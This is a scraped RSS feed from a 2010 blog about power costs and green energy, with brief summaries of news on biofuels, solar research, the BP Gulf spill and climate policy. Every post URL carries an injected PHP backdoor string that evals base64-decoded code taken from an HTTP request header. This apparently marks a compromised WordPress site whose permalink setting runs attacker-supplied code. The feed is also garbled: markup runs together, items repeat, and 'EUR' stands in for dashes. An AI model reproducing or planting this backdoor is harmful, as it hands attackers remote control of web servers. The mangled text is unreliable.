http://monitorpowercost.com Monitor Power Costs by Installing a Electricity Monitor Fri, 03 Sep 2010 14:47:02 +0000 http://wordpress.org/?v=2.5 en http://monitorpowercost.com/2010/09/03/new-honda-hybrid-euroespy-photoseur-from-road-track-magazine/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://monitorpowercost.com/2010/09/03/new-honda-hybrid-euroespy-photoseur-from-road-track-magazine/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 03 Sep 2010 14:47:02 +0000 admin Whiskey Byproducts Could Produce Next Big Biofue
Researchers at Edinburgh Napier University have patented a process to produce biobutanol, a fuel that can be used in existing gasoline engines without any modifications, from whiskey by-products. In utilizing waste products, the process eliminates the need to use arable land and food crops to produce a more sustainable fuel.

Hydrogen Fuel Cell Cars Arrive Hydrogen fuel cell-powered cars are now in the hands of consumers, with more on the way. These custom-made cars from Chevrolet, Honda and BMW are paving the way for production models of the future.

BP to retrieve blowout preventer BP Plc aims to retrieve a failed blowout preventer atop its ruptured Macondo well in the Gulf of Mexico on Thursday, the top U.S. official overseeing the oil spill response said on Monday. But first, the company hopes to fish out a 3,500-foot (1,066-meter) drillpipe believed to be hanging in the giant stack of pipes and valves to ease the removal and replacement with another blowout preventer.

The Superb Grid vs. the SuperGrid Please see the article by Sam Carana on how a larger and simultaneously more local grid can be implemented, to capture as much of the electricity being generated as possible. Read about how many parts of Europe already have surplus electricity and countries are linking their grids together toimprove efficiency.

Bald Eagle Nestlings Contaminated by Chemicals A study of bald eagle nestlings found pesticides and flame retardants in their blood. The chemicals are suspected in slowing the eagles’ post-DDT recovery in Michigan. There are lots of new flame retardants in use, the health effects of which we know little or nothing.

Transport Tuesday EUR Existing Technology for Efficiency Avion X-Prize Car While we all wait for the X-Prize car to be announced we should remember that a couple of students at Western Washington University managed to create a high efficiency car with off-the-shelf parts more than two decades ago. ]]> http://monitorpowercost.com/2010/09/02/hydrogen-fuel-cell-cars-arrive/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://monitorpowercost.com/2010/08/31/clean-energy-investors-flash-cash-for-ads-in-ccalifornia-climate-law-battle/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://monitorpowercost.com/2010/08/31/clean-energy-investors-flash-cash-for-ads-in-ccalifornia-climate-law-battle/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 31 Aug 2010 14:17:02 +0000 admin

The New Breeds of Cars Decades ago the only type of car was the internal combustion (gasoline)type. Other varieties have arrived such as Hybrid and electric. With the new choices are other decisions such as which one reduces most the carbon footprint (or is the most green)and which one is the most cost effective. No more is “the miles per gallon” a standard that can be applied across the board as a specification.

B.C. wood pellets a green hit in Europe but not Alberta. Every day, 500 tonnes of tiny wood pellets are churned out of Pacific BioEnergys Prince George plant, destined for thermal power plants in Europe.

The Ultimate Solar Cell? The ultimate step in utilizing solar power is to convert maximum energy from sun into electricity. This will make solar power highly cost-advantageous compared to other traditional power sources. Capturing energy wasted as heat from the sun can increase solar conversion efficiency greatly. Research funded by the U.S. Department of Energy is on-going to [.] Posted in: Inventions, PhotoVoltaics, Solar Power

Clean energy investors flash cash for ads in Ccalifornia climate law battle. Californias clean energy investors are raising millions of dollars for an advertising battle with oil refiners who want to delay the states new law on reducing greenhouse gas emissions.

BP cements Gulf oil well ahead of permanent plug BP finished pumping cement into its ruptured oil well in the Gulf of Mexico on Thursday to seal off the source of the world’s worst offshore spill, paving the way to permanently plug the blow-out later this month. The daylong cementing operation followed earlier injections of heavy drilling mud this week that had subdued the upward pressure of oil and gas inside the deep-sea Macondo well. The crippled wellhead was provisionally capped in mid-July. “This is not the end, but it will virtually assure us that no oil will be leaking into the environment,” retired Coast Guard Admiral Thad Allen, who oversees the U.S. oil spill response operation, said at a briefing in Washington. “Monitoring of the well is under way in order to confirm the effectiveness of the procedure,” BP said in a statement announcing completion of the cementing work.

]]> http://monitorpowercost.com/2010/08/31/clean-energy-investors-flash-cash-for-ads-in-ccalifornia-climate-law-battle/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://monitorpowercost.com/2010/08/30/new-honda-hybrid-euroespy-photoseur-from-road-track-magazine/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://monitorpowercost.com/2010/08/30/new-honda-hybrid-euroespy-photoseur-from-road-track-magazine/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 30 Aug 2010 14:43:02 +0000 admin Economical Solar Panels to Yield More Energy
There has been research work going on to increase the efficiency of the cost-effective amorphous solar panels. TU Delft has been the center where this research work is being developed. The research will directly help in increasing the efficiency of amorphous solar cells – from a 7% to a 9%. Crystalline silicon is most [.]
Posted in: Inventions, PhotoVoltaics, Solar Power

Dyes, Laundry Aids, and EPA The Environmental Protection Agency (EPA) released action plans today to address the potential health risks of benzidine dyes, hexabromocyclododecane (HBCD) and nonylphenol (NP)/nonylphenol ethoxylates (NPEs). The chemicals are widely used in both consumer and industrial applications, including dyes, flame retardants, and industrial laundry detergents. The plans identify a range of actions the agency is considering under the Toxic Substances Control Act (TSCA)

Brazil to invest more than $100 million to combat climate change. The Brazilian government plans to invest 200 million reais ($113 million) next year to combat climate change and mitigate the effects of global warming, the Environment Ministry said on Thursday.

USPS Goes Green In strict adherence to guidelines released by the Department of Energy, the United States Postal Service gets on a fast track to reach the goal for energy reduction. Green roofs, green buildings and an optimally efficient management system of energy consumption form part of the energy-reduction strategy. Power Guzzlers:Use of air conditioning is one [.] Posted in: Environment, Industry, Transportation

Dock Here for Clean Renewable Solar Energy! This can very well happen in the near future with billboards advertising – bold and strong, beckoning electric vehicles for recharging. Already in Berlin-Adlershof, this is happening. The largest independently functioning solar charging station is offering high-quality, computerized and completely safe kind of solar charging to electrical cars. Electric-power cars’ handicap – finding a [.] Posted in: Electric Cars, Solar Power, Transportation

2010: The Year of Compressed Air Energy Storage? There are signs that 2010 could be the coming out party for Compressed Air Energy Storage (CAES). With the onslaught of large wind and solar deployments that will be added to the grid to meet state renewable portfolio standards requirements, there is a lot of buzz about the need for energy storage systems, particularly bulk energy storage. Bulk systems can store megawatt-scale amounts of energy produced during off peak times. They then discharge that energy during peak times, when prices are higher, and over many hours.

Asbestos Use Today: information from a reader Asbestos is still imported and used in the U.S. According to the U.S. Geological Survey, the U.S. imported and used an estimated 1,820 tons of asbestos in 2007; see this PDF file from the USGS, please click only if you want to download the PDF. Also, the U.S. House of Representatives is considering a bill [.]

Small changes: 14 ways to help save the planet. The environmental movement has always encouraged individuals to change their lifestyles to help the planet. But how much difference could individuals actually make if they changed their behaviours en masse?

Climate change campaigners turn up the heat on RBS chiefs. Climate change protesters will today step up a mass campaign outside the Royal Bank of Scotland headquarters as hundreds more activists pour into the site near Edinburgh.

More Power to Electronics Thanks to Nano-scale Wires Today a long-standing electronic dream has become a reality thanks to research done by a team of scientists from Bar-Ilan University, Israel, supported by U.S. Department of Energy’s (DOE) at Brookhaven National Laboratory. Producing superconducting nano-scale wires to facilitate faster and more powerful electronic devices has been the long-time ambition which had eluded achievement [.] Posted in: Future Energy, Industry, Inventions

]]> http://monitorpowercost.com/2010/08/29/2010-the-year-of-compressed-air-energy-storage/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://monitorpowercost.com/2010/08/28/caribbean-island-closer-to-becoming-geothermal-energy-exporter/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://monitorpowercost.com/2010/08/28/caribbean-island-closer-to-becoming-geothermal-energy-exporter/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 28 Aug 2010 14:02:02 +0000 admin Synthetic Fuel from CO2 and Solar Energy?
Really amazing are the innovative ways solar power is put into use. Now a team of scientists working in Sandia National Laboratories is focusing on exploring basic steps to make synthetic liquid fuel with the help of solar panels. The goal is that this will help considerably reduce carbon dioxide emissions. Conversion goals:The team [.]
Posted in: Biofuels, Environment, Solar Power

Poisoning the Poor with eWaste in Ghana Green issues are sometimes complex. We need to recycle many things, like electronics, but we certainly don’t want to poison others in the process. Efforts to protect the environment and conserve valuable resources must be coupled with proper health and safety procedures. Unfortunately, just saying this doesn’t make it happen. Developing countries are becoming a dumping ground for much toxic waste and proper environmental health and safety is being ignored, both by local opportunists and suppliers of e-Waste from developed nations.

Plastics and Detergents May Contribute to Lobster Die-Offs Waterborne chemicals leached from plastics and detergents, including bisphenol A (BPA), may have contributed to significant lobster die-offs in the waters of Long Island Sound over the last decade, researchers say. As many as half of the lobsters tested in areas where lobster populations have plunged showed high levels of alkylphenols, a group of chemicals derived from detergents, paints, and plastics, according to researchers at the University of Connecticut.

EPA Sets Limits on Mercury and Other Air Emissions from Cement Kilns Cement plants emit mercury from the kilns used in the cement manufacturing process. Cement kilns operate at high temperatures, and are, in fact used to destroy many types of toxic substances. The rule, proposed on August 9, 2010 also applies to total hydrocarbons (THC), and particulate matter (PM) from new and existing kilns located at major and area sources, and for hydrochloric acid (HCl) from new and existing kilns located at major sources. The standards for new kilns apply to facilities that commence construction, modification, or reconstruction after May 6, 2009 The U.S. Environmental Protection Agency (EPA) issued final rules to cut emissions of mercury, particle pollution and other harmful pollutants from Portland cement manufacturing, the third-largest source of mercury air emissions in the United States. EPA calculates that the rules will yield $7 to $19 in public health benefits for every dollar in costs.

Switch to heat-tolerant potato to save crop, say scientists. With the mercury level steadily rising across the country, potato growers need to switch to new varieties of heat-tolerant seeds for saving their crops, agriculture scientists have suggested.

One German town’s fight against CO2 capture technology. The next Chernobyl? A death blow to tourism? Poisoned drinking water? The residents of Beeskow, Germany worry that a planned CO2 storage facility under their town could end in disaster and are fighting the project. Europe, though, hopes the technology will drastically reduce emissions.

Smithsonian Catalogs Life Before The Gulf Spill It’ll take years to fully know the effects of the BP oil spill on wildlife in the Gulf of Mexico. One thing we do know now is what that wildlife was like before the 206 million gallons of oil spewed into the water. For that knowledge, we have the Smithsonian Institution to thank. The Smithsonian Institution’s Museum Support Center is an anonymous beige warehouse complex just outside Washington, D.C. It doesn’t look like anything special until you get inside. These buildings house all the things that don’t fit into the museums on the National Mall, in endless rows of jars and bottles and boxes. Among them is the world’s largest collection of invertebrates from the Gulf of Mexico, all floating in 150-proof alcohol. It’s a pretty comprehensive snapshot of life before the spill.

Environmental Consequences: Asbestos and Human Health When microscopic asbestos fibers are inhaled, they lodge themselves in the lining of lungs. This lays the groundwork for the deadly asbestos cancer, mesothelioma. Perhaps it should come as no coincidence then that rates of pleural cancer (mesothelioma) in oil refinery workers are among the highest of any occupation.

Caribbean Island Closer to Becoming Geothermal Energy Exporter Among the islands in the Eastern Caribbean, St. Lucias economy is performing comparatively well. The island, which is less than half the size of Los Angeles proper and is home to about 170,000, is diversifying its agricultural sector, has decent infrastructure, and has attracted investment in its manufacturing and banking sectors. Now this tiny nation northwest of Barbados is making a move on the renewable energy front. St. Lucias government has signed an agreement with US-based Qualibou Energy for the development of a geothermal plant. If all goes as planned, the plant will generate 12 megawatts of electricity by 2012, and another 108 MW of capacity will be in operation by 2015.

VIDEO: Solar Stereo Speakers Imagine a cool poolside with golden sunlight, lifting music and relaxing time EUR sounds great, no! Now great music, wireless speakers, and excellent audio quality – all these are possible with Devotec Solar Sound 2 Stereo Bluetooth Speakers. Almost all phones, MP3 players and music players can be connected to these speakers wirelessly to [.] Posted in: Industry, Inventions, Solar Power

UN to get report on climate panel August 30. A UN-requested review of the world’s top panel of climate scientists, accused of flaws in a key assessment on global warming, will be unveiled on August 30, the investigating committee said on Friday.

]]> http://monitorpowercost.com/2010/08/28/caribbean-island-closer-to-becoming-geothermal-energy-exporter/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://monitorpowercost.com/2010/08/27/election-key-to-action-on-climate/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://monitorpowercost.com/2010/08/27/election-key-to-action-on-climate/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 27 Aug 2010 14:29:02 +0000 admin Hybrid Organic Solar Cells Now More Efficient
Success greets the research team of National Research Council’s National Institute for Nanotechnology (NINT) and the University of Alberta. The plastic solar cells have now an operating life of 8 months instead of mere hours. And they are low-cost, environmentally efficient, unsealed plastic dollar cells – a green energy source. Developing economically viable plastic [.]
Posted in: Industry, PhotoVoltaics, Solar Power

Energy Day and Night from Solar/Fuel Cell Combination Splitting Water by efficient, catalyzed electrolysis to give hydrogen and oxygen gases, and combining this with solar cells for the generation of electricity; See video link.

Ag practices likely to change with climate. Wisconsin farmer Tina Hinchley thinks global climate change isn’t necessarily a bad thing, as it extends the growing season. But, noted her husband Duane, climate change also has its downsides for farmers.

Election key to action on climate. Environmentalists around the world will be watching Saturday’s national election results in Australia, which they say could have a global impact on efforts to combat climate change. Australia’s last two prime ministers have both been casualties of environmental politics.

Cell Phone Chargers to go Green Today cell-phones have become an integral part of our life and are the most used mode of communication. More prevalent the use of cell-phone, more imperative is the need to curtail eco-pollution that emanates from the huge number of still-in-use and out-of-use cell phones. Toxic products like lead, mercury, cadmium and other materials pose [.] Posted in: Future Energy, Industry, Solar Power

]]> http://monitorpowercost.com/2010/08/27/election-key-to-action-on-climate/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://monitorpowercost.com/2010/08/26/new-battery-warranty-for-chevy-volt-owners/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://monitorpowercost.com/2010/08/26/new-battery-warranty-for-chevy-volt-owners/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 26 Aug 2010 14:57:01 +0000 admin Indonesian envoy laments grim U.N. climate talks.
Nations face an uphill battle to reach agreement on a tougher climate pact by the end of 2011, a senior Indonesian climate change official said on Thursday, describing progress to date as bleak.

Earth’s green carbon sink on the wane. The capacity of plants to act as a carbon sink could be on the decline. As global temperatures have risen in recent decades, the amount of atmospheric carbon being converted into plant biomass has increased in step. However, ecologists report a surprising reversal of this trend over the last decade.

New Battery Warranty for Chevy Volt Owners The Chevrolet Volt is giving its extended range electric vehicle customers a great deal with an eight year/100,000 mile (whichever comes first) warranty for its lithium-ion battery. The battery pack has some 161 components, nine modules and 288 cells. The warranty is offering coverage for all the parts. The battery is basically made up [.] Posted in: Electric Cars, Industry, Transportation

Wind Energy Instruments getting Bigger & Better Renewable energy production and demand growth is gaining momentum in many ways across the world. There is a booming demand of wind power today and all wind energy equipment manufacturers are gearing up to meet the demand and take advantage of it. Wind power capacity growth will be reaching 447GW in the next five [.] Posted in: Wind Farms, Wind Power, Wind Turbines

Merkel tries to regain upper hand in energy debate. Before the financial crisis, Angela Merkel liked to present herself as the “climate chancellor,” pushing for CO2 cuts and posing with glaciers. Now, with nuclear energy dominating the energy debate in Germany, Merkel has sought to turn back the clock.

]]> http://monitorpowercost.com/2010/08/26/new-battery-warranty-for-chevy-volt-owners/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://monitorpowercost.com/2010/08/25/indonesia-coral-impacts-of-hotter-water-temperatures/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://monitorpowercost.com/2010/08/25/indonesia-coral-impacts-of-hotter-water-temperatures/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 25 Aug 2010 14:17:02 +0000 admin Global CO2 emissions off 1.3 percent in 2009
Global carbon dioxide (CO2) emissions in 2009 fell 1.3 percent to 31.3 billion tonnes in the first year-on-year decline in this decade, German renewable energy institute IWR said on Friday. The Muenster-based institute, which advises German ministries, cited the global economic crisis and rising investments in renewable energies for the fall in emissions. Global investment in renewable installations for power, heat and fuels last year rose to 125 billion euros ($161 billion) from 120 billion in 2008, IWR said. But IWR director Norbert Allnoch said given the force of the crisis, the reductions in CO2 output could have been greater, had stronger output in Asian and Middle Eastern countries not overcompensated the savings obtained from declines in Europe, Russia, Japan and the U.S.

Toyota has the most fuel efficient line of cars in the US Toyota, as reported by Jamie Lendino of ExtremeTech, has the most fuel efficient line of cars in the US, with an average of 29.7 mpg for actual vehicles sold. Results are based on the 2007 model year. Discussion in the forum goes into upcoming offerings from Honda and VW, but they have to be taken [.]

Coastal planners should expect 40cm sea level rise. The NSW Coastal Planning Guidelines have been developed in response to concern about the effects of global warming, with the State Government anticipating a 40 centimetre rise in sea levels by 2050, and a 90cm rise by 2100.

Indonesia Coral - Impacts of hotter water temperatures The Wildlife Conservation Society today released initial field observations that indicate that a dramatic rise in the surface temperature in Indonesian waters has resulted in a large-scale bleaching event that has devastated coral populations. WCS’s Indonesia Program “Rapid Response Unit” of marine biologists was dispatched to investigate coral bleaching reported in May in AcehEURa province of IndonesiaEURlocated on the northern tip of the island of Sumatra. The initial survey carried out by the team revealed that over 60 percent of corals were bleached. “Bleaching”EUR a whitening of corals that occurs when algae living within coral tissues are expelled EUR is an indication of stress caused by environmental triggers such as sea surface temperature fluctuations. Depending on many factors, bleached coral may recover over time or die. Subsequent monitoring conducted by marine ecologists from WCS, James Cook University (Australia), and Syiah Kuala University (Indonesia) were completed in early August and revealed one of the most rapid and severe coral mortality events ever recorded. The scientists found that 80 percent of some species have died since the initial assessment and more colonies are expected to die within the next few months.

Norway to pay 30 million dollars to save Indonesian forests. Norway agreed Thursday to advance 30 million dollars to Indonesia in the first installment of a planned billion-dollar scheme to cut the country’s greenhouse gas emissions from deforestation.

EPA Proposes Permitting Rules for Greenhouse Gas Emissions EUR Texas Dissents Following the Greenhouse Gas Tailoring Rule, the US EPA issued a proposed two new rules to address the permitting issues which the tailoring rule created. The GHG Tailoring Rule, specifies that beginning in 2011, facilities that increase GHG emissions substantially will require an air permit. The EPA proposed two rules to ensure that businesses planning to build new, large facilities or make major expansions to existing ones will be able to obtain Clean Air Act permits that address their greenhouse gas (GHG) emissions. The Tailoring Rule covers large industrial facilities like power plants and oil refineries that are responsible for 70 percent of the GHGs from stationary sources. The new EPA proposals are a critical component for implementing the Tailoring Rule and would ensure that GHG emissions from these large facilities are minimized. The Clean Air Act requires states to develop EPA-approved implementation plans that include requirements for issuing air permits. When federal permitting requirements change, as they did after EPA finalized the GHG Tailoring Rule, states likely need to modify these plans.

Afghanistan and Africa food supplies most at risk from drought & floods Afghanistan and nations in sub-Saharan Africa are most at risk from shocks to food supplies such as droughts or floods while Nordic countries are least vulnerable, according to an index released on Thursday. “Of 50 nations most at risk, 36 are located in Africa,” said Fiona Place, an environmental analyst at British-based consultancy Maplecroft, which compiled the 163-nation food security risk index. Maplecroft said that it hoped the index could help in directing food aid or to guide investments in food production.

Climate change may add 50% to storm damage costs in Caribbean. Wind, storm surges and inland flooding already cost some Caribbean nations up to six percent of their economic output each year, the Zurich-based company said today in a statement on its website. Global warming could add costs amounting to another one to three percent of output by 2030, it said.

Scientists Revisit Power from Potatoes This could very well be the magic formula for future power generation. Yes, scientists are busy crafting what is now called as “solid organic electric battery based upon treated potatoes.” These are absolutely eco-friendly batteries – based on the hidden powers of potatoes – which will be an economical answer to the growing power [.] Posted in: Ethanol

That sinking feeling. Global warming could spell the end for a number of tiny island nations in the Pacific. Despite their image of paradise on Earth, many Pacific Islands are struggling with environmental issues, such as rising sea levels caused by global warming, pollution, and conflicting relationships between the tourism industry, local culture and ecology.

Plant growth declines as warming causes drought. Plant growth that had been spurred by global warming has reversed, despite temperatures that continue to rise. Researchers say the change could affect food security and development of biofuels.

Fuel Additive Production Takes the Green Route Research is on for the organic production of isobutene (isobutylene). Thomas Bobik, Professor of Biochemistry, Biophysics and Molecular Biology and David Gogerty, a doctoral student are doing pioneer research for producing isobutylene with the help of a new but natural enzyme rather than from the traditional petroleum-based products. The enzyme is awaiting patent process [.] Posted in: Ethanol

The Superb Grid vs. the SuperGrid Please see the article by Sam Carana on how a larger and simultaneously more local grid can be implemented, to capture as much of the electricity being generated as possible. Read about how many parts of Europe already have surplus electricity and countries are linking their grids together toimprove efficiency.

New Ways to Mass Travel Not everyone can drive to work in their own vehicle. Planners must find ways to blend individual vehicles with hte needs of mass transportation. Building train stations or subways is highly capital intensive and involves years of construction and related dealys due ot construction. Adding buses adds to traffic. Furthermore mass transist needs to be safe, clean and inexpensive. The straddling bus, first exhibited on the 13th Beijing International High-tech Expo in May this year, maybe one answer. In the near future, the model is to be put into pilot use in Beijings Mentougou District.

Hydrogen Fuel Cell Cars Arrive Hydrogen fuel cell-powered cars are now in the hands of consumers, with more on the way. These custom-made cars from Chevrolet, Honda and BMW are paving the way for production models of the future.

High temperatures may be the new norm in Lebanon. With peak temperatures exceeding 41 degrees Celsius this week and with the heat wave expected to last well into the weekend, fears are rising that Lebanon may already be feeling the knock-on effects from global warming and will have to brace itself for longer-term climate changes sooner than anticipated.

The New Breeds of Cars Decades ago the only type of car was the internal combustion (gasoline)type. Other varieties have arrived such as Hybrid and electric. With the new choices are other decisions such as which one reduces most the carbon footprint (or is the most green)and which one is the most cost effective. No more is “the miles per gallon” a standard that can be applied across the board as a specification.

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